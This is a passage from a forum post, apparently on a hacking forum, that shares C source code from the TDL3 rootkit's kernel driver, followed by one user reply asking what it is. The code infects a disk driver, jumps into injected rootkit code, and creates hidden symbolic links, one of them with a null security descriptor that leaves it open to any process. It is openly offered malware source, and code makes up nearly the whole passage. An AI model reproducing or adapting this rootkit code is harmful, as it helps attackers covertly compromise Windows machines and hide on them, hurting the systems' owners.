 _snwprintf(wcPath,RTL_NUMBER_OF(wcPath)-1,wcFormatDriverPath,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver\\")-sizeof(WCHAR)));
 ntsStatus=DriverInfect(wcPath,GET_TDL_ADDRESSES->pdoDeviceDisk,&hDriver);
 if(NT_SUCCESS(ntsStatus))
 {
 WCHAR wcLinkDriver[]={L'\\',L't',L'd',L'r',L'v',0};
 WCHAR wcLinkDevice[]={L'\\',L't',L'd',L'e',L'v',0};
 HANDLE hLink;
 UNICODE_STRING usLink;


 SECURITY_DESCRIPTOR sdSecurity;

 RtlCreateSecurityDescriptor(&sdSecurity,SECURITY_DESCRIPTOR_REVISION);
 RtlSetDaclSecurityDescriptor(&sdSecurity,TRUE,(PACL)NULL,FALSE);

 GetEPNameOffset();
 ntsStatus=((PTDLInit)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLInit-(DWORD_PTR)TDLEntry))(hDriver);
 if(NT_SUCCESS(ntsStatus))
 {
 RtlInitUnicodeString(&usName,wcLinkDriver);
 RtlInitUnicodeString(&usLink,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver\\")-sizeof(WCHAR)));
 InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE,0,0);
 ZwCreateSymbolicLinkObject(&hLink,SYMBOLIC_LINK_ALL_ACCESS,&oaAttributes,&usLink);

 RtlInitUnicodeString(&usName,wcLinkDevice);
 RtlInitUnicodeString(&usLink,GET_TDL_ADDRESSES->wcFSDevice);
 InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE,0,&sdSecurity);
 ZwCreateSymbolicLinkObject(&hLink,SYMBOLIC_LINK_ALL_ACCESS,&oaAttributes,&usLink);
 ObfDereferenceObject(pfoDriver);
 ZwClose(hVolumeDevice);
 ntsStatus=STATUS_SECRET_TOO_LONG;
 }
 }
 }
 break;
 }
 }
 }
 }
 ExFreePool(pdbiInfo);
 }
 ZwClose(hVolumeDirectory);
 }
 }
 ZwClose(hVolumeLink);
 }
 }
 return ntsStatus;
}
EXTERN_C_END
NT_END

Sursa: http://www.hackhound.org/forum/index.php?/topic/38136-srctdl3-rootkit-driver/

adi003user · June 11, 2011

omul e prost pana intreaba. wtf is this? am remarcat doar limbajul c. e un driver... pentru?

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[SRC] TDL3 Rootkit Driver

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